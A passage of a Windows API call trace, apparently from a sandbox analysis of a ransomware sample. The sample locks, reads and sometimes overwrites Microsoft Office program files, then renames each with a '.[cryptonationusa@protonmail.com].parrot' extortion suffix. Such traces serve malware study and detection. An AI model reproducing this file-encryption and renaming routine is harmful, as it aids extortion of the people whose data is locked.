nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.401] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.401] CloseHandle (hObject=0x27c) returned 1 [0179.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.407] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.407] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.407] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.408] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.409] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.409] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.409] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.409] CloseHandle (hObject=0x27c) returned 1 [0179.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.419] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.419] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.419] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.421] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.421] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.421] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.421] CloseHandle (hObject=0x27c) returned 1 [0179.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.428] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44c80, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.428] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.428] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.430] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44b68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x44b68, lpOverlapped=0x0) returned 1 [0179.441] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.501] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44c80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.501] CloseHandle (hObject=0x27c) returned 1 [0179.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.509] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5fea0, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.509] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.509] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.510] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.510] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5fd88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5fd88, lpOverlapped=0x0) returned 1 [0179.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.545] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5fea0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.545] CloseHandle (hObject=0x27c) returned 1 [0179.545] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.554] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x864, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.554] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.556] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x74c, lpOverlapped=0x0) returned 1 [0179.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.556] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x864, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.557] CloseHandle (hObject=0x27c) returned 1 [0179.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.563] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c98, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.563] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.564] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b80, lpOverlapped=0x0) returned 1 [0179.566] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.567] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.567] CloseHandle (hObject=0x27c) returned 1 [0179.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.572] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaa98, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.572] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.572] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.574] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa980, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa980, lpOverlapped=0x0) returned 1 [0179.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.576] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaa98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.576] CloseHandle (hObject=0x27c) returned 1 [0179.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.582] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3aa98, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.582] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.584] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a980, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a980, lpOverlapped=0x0) returned 1 [0179.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.597] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3aa98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.597] CloseHandle (hObject=0x27c) returned 1 [0179.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.603] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.603] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.603] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.605] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.605] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.605] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.606] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.606] CloseHandle (hObject=0x27c) returned 1 [0179.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.611] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x588b38, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.611] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.611] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.615] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0179.647] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.647] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0179.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.650] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0179.653] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x588b38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.653] CloseHandle (hObject=0x27c) returned 1 [0179.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.709] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x399, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.709] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.709] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.720] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x281, lpOverlapped=0x0) returned 1 [0179.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.721] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x399, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.721] CloseHandle (hObject=0x288) returned 1 [0179.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.729] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.729] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.729] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.729] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.730] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd1, lpOverlapped=0x0) returned 1 [0179.730] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.730] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.730] CloseHandle (hObject=0x288) returned 1 [0179.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.735] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.735] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.735] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.736] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0179.737] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.737] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.737] CloseHandle (hObject=0x288) returned 1 [0179.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.744] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.744] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.744] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.745] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, 